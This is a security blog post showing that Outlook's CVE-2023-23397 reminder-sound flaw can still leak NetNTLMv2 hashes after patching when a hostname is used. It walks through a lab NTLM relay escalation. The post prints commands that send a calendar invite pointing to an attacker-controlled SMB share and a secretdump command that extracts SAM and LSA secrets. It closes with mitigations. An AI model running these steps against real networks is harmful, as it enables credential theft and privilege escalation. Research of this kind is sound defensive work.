🗓️Evil outlook reminders may still be around....CVE-2023-23397

In this blog, I am going through how to abuse CVE-2023-23397 in an internal environment after installing the latest patch of Microsoft Outlook

Background

On 14 March 2023, Microsoft released a patch for Outlook Elevation of Privilege Vulnerability (CVE-2023-23397). According to Microsoft MSRC Blog Post, the vulnerability is a critical EoP vulnerability in Microsoft Outlook that is triggered when an attacker sends a message with an extended MAPI property with a UNC path to an SMB (TCP 445) share on a threat actor-controlled server. No user interaction is required. In this blog post, we target to re-evaluate the attack surface after installing the patches.

Examine the patch

To examine the released patch, we updated Microsoft Outlook to the latest version - Version 2302 (Build 16130.20306).

Update: The latest patch is now Version 2302 (Build 16130.20332), the same technique still applies.

Figure 1 - updated Microsoft Office version

After the patch, we first send a calendar invite using an IP address in the UNC path of the ReminderSoundFile parameter. (We will be using the POC developed by Oddvar Moe - TrustedSec as an illustration.)

Send-CalendarNTLMLeak -recipient "@outlook.com" -remotefilepath "\\192.168.64.128\share" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Figure 2 - no NetNTLMv2 captured using IP address in the UNC path

However, if we send the calendar invite using the hostname in the UNC path instead, we can still capture the NetNTLMv2 hash.

Send-CalendarNTLMLeak -recipient "recipient@outlook.com" -remotefilepath "\\kalivm\share" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Figure 3 - NetNTLMv2 can still be captured while using hostname in UNC path

Hence, the outlook reminder can still be abused for NTLM relay in an internal environment. In the next session, we will demonstrate the abuse in an AD environment.

Escalate our privilege with CVE-2023-23397

In this session, we start from a low privilege user beacon in a workstation (192.168.64.133).

Figure 4 - initial access

In a kali machine, set up ntlm relayand put our compromised machine (192.168.64.133) as the target.

Figure 5 - ntlm relay setup

Next, import the PowerShell script we used in above session to send the calendar invite to a targeted email

Figure 6 - sending the calendar invite

When the targeted user received our calendar invite, the reminder should prompt up automatically and trigger the smb connection.

Figure 7 - victim received the invite and outlook reminder prompt up

Back to the relay we set up, we should see a successful authentication to the target machine with the privilege of the authenticated user. With the socks command, we noted that the user who received the calendar invite is a local admin of our initial compromised machine.

Figure 8 - successful ntlm relay

With the admin privilege, we can do a secret dump to get the SAM hash and LSA secret through the proxychain.

proxychains secretdump.py HACKME/administrator:thisisfakepassword@192.168.64.133
Figure 9 - secretdump for SAM hash and LSA secret over SOCKS

Conclusion

While there are still lots of other ways to coerce users into authenticating to the smb servers for relaying or simply sending the target using a phishing email to tempt a user for clicking the UNC path. The CVE2023-23397 still stands out as there is no user interaction required and the broad usage of Microsoft Outlook. Hence, it is recommended to take the following recommendations:

  1. Add users to the Protected Users Security Group, which prevents the use of NTLM as an authentication mechanism. Performing this mitigation makes troubleshooting easier than other methods of disabling NTLM. Consider using it for high value accounts such as Domain Admins when possible.This may cause impact to applications that require NTLM, however the settings will revert once the user is removed from the Protected Users Group. Please see Protected Users Security Group for more information.

  2. Enable SMB signing to prevent relay attacks. SMB signing allows digitally signing SMB packets to enforce their authenticity and integrity - the client/server knows that the incoming SMB packets they are receiving are coming from a trusted source and that they have not been tampered with while in transit, preventing man in the middle type attacks.

  3. Hosts should be monitored for (1) traffic on LLMNR and NBT-NS ports (UDP 5355 and 137), (2) event logs with event IDs 4697 and 7045 (relevant to relay attacks) and (3) changes to registry DWORD EnableMulticast under HKLM\Software\Policies\Microsoft\Windows NT\DNSClient.

Reference

Credit to the research done by MDSec:

Last updated